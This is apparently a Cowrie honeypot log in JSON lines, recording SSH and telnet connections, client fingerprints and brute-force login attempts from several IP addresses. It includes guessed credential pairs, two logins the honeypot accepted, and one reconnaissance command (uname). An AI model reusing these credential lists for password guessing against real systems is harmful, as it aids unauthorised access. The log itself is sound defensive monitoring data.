{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37920,"dst_ip":"159.203.135.109","dst_port":22,"session":"584675a4a6bc","protocol":"ssh","message":"New connection: 162.120.6.20:37920 (159.203.135.109:22) [session: 584675a4a6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:25.425239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:25.429849Z","src_ip":"162.120.6.20","session":"584675a4a6bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:25.500281Z","src_ip":"162.120.6.20","session":"584675a4a6bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jiahaoyang","password":"jiahaoyang","message":"login attempt [jiahaoyang/jiahaoyang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:25.709818Z","src_ip":"162.120.6.20","session":"584675a4a6bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:26.782078Z","src_ip":"162.120.6.20","session":"584675a4a6bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":41798,"dst_ip":"159.203.135.109","dst_port":23,"session":"457e2f0dba09","protocol":"telnet","message":"New connection: 130.12.180.174:41798 (159.203.135.109:23) [session: 457e2f0dba09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:34.740916Z"}
{"eventid":"cowrie.session.closed","duration":0.5003015995025635,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:35.241093Z","src_ip":"130.12.180.174","session":"457e2f0dba09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34922,"dst_ip":"159.203.135.109","dst_port":22,"session":"d300422f89a4","protocol":"ssh","message":"New connection: 195.178.110.218:34922 (159.203.135.109:22) [session: d300422f89a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:52.316986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:52.321146Z","src_ip":"195.178.110.218","session":"d300422f89a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:52.400510Z","src_ip":"195.178.110.218","session":"d300422f89a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:52.636929Z","src_ip":"195.178.110.218","session":"d300422f89a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:53.718038Z","src_ip":"195.178.110.218","session":"d300422f89a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":47288,"dst_ip":"159.203.135.109","dst_port":22,"session":"80b80c9eaeda","protocol":"ssh","message":"New connection: 2.57.122.210:47288 (159.203.135.109:22) [session: 80b80c9eaeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:22.772720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:22.777028Z","src_ip":"2.57.122.210","session":"80b80c9eaeda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:22.880483Z","src_ip":"2.57.122.210","session":"80b80c9eaeda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ZXCVASDFQWER2!@#$","message":"login attempt [ubuntu/ZXCVASDFQWER2!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:23.164517Z","src_ip":"2.57.122.210","session":"80b80c9eaeda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:24.261786Z","src_ip":"2.57.122.210","session":"80b80c9eaeda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":35490,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04444a8b76b","protocol":"ssh","message":"New connection: 200.225.246.102:35490 (10.17.0.5:22) [session: d04444a8b76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:33.951379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:33.954586Z","src_ip":"200.225.246.102","session":"d04444a8b76b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:34.083489Z","src_ip":"200.225.246.102","session":"d04444a8b76b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"redmineredmine","message":"login attempt [redmine/redmineredmine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:34.626967Z","src_ip":"200.225.246.102","session":"d04444a8b76b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:16:35.758084Z","src_ip":"200.225.246.102","session":"d04444a8b76b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":55540,"dst_ip":"10.17.0.5","dst_port":22,"session":"096743de2dbf","protocol":"ssh","message":"New connection: 27.79.5.10:55540 (10.17.0.5:22) [session: 096743de2dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:17:09.889035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:17:10.175844Z","src_ip":"27.79.5.10","session":"096743de2dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:17:10.250209Z","src_ip":"27.79.5.10","session":"096743de2dbf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"@","message":"login attempt [root/@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:17:33.149397Z","src_ip":"27.79.5.10","session":"096743de2dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"85.1","message":"Connection lost after 85.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:35.029031Z","src_ip":"27.79.5.10","session":"096743de2dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":50024,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca507e6e3492","protocol":"ssh","message":"New connection: 2.57.122.210:50024 (159.203.135.109:22) [session: ca507e6e3492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:37.661547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:37.666521Z","src_ip":"2.57.122.210","session":"ca507e6e3492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:37.770183Z","src_ip":"2.57.122.210","session":"ca507e6e3492","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:38.099595Z","src_ip":"2.57.122.210","session":"ca507e6e3492","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:38.348433Z","src_ip":"2.57.122.210","session":"ca507e6e3492","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:38.351529Z","src_ip":"2.57.122.210","session":"ca507e6e3492","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:38.458786Z","src_ip":"2.57.122.210","session":"ca507e6e3492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:38.463783Z","src_ip":"2.57.122.210","session":"ca507e6e3492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.191.32.57","src_port":56712,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd69176c4ec5","protocol":"telnet","message":"New connection: 115.191.32.57:56712 (10.17.0.5:23) [session: fd69176c4ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:45.795704Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":43648,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4f6f78bbb62","protocol":"ssh","message":"New connection: 200.225.246.102:43648 (10.17.0.5:22) [session: d4f6f78bbb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:46.816650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:46.820208Z","src_ip":"200.225.246.102","session":"d4f6f78bbb62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:46.949062Z","src_ip":"200.225.246.102","session":"d4f6f78bbb62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maria","password":"maria@123","message":"login attempt [maria/maria@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:47.494629Z","src_ip":"200.225.246.102","session":"d4f6f78bbb62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:18:48.625662Z","src_ip":"200.225.246.102","session":"d4f6f78bbb62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:19:52.601055Z","src_ip":"115.191.32.57","session":"fd69176c4ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.80831122398376,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:19:52.603887Z","src_ip":"115.191.32.57","session":"fd69176c4ec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":43662,"dst_ip":"10.17.0.5","dst_port":22,"session":"814cfd2e3d58","protocol":"ssh","message":"New connection: 27.79.44.181:43662 (10.17.0.5:22) [session: 814cfd2e3d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:39.962128Z"}
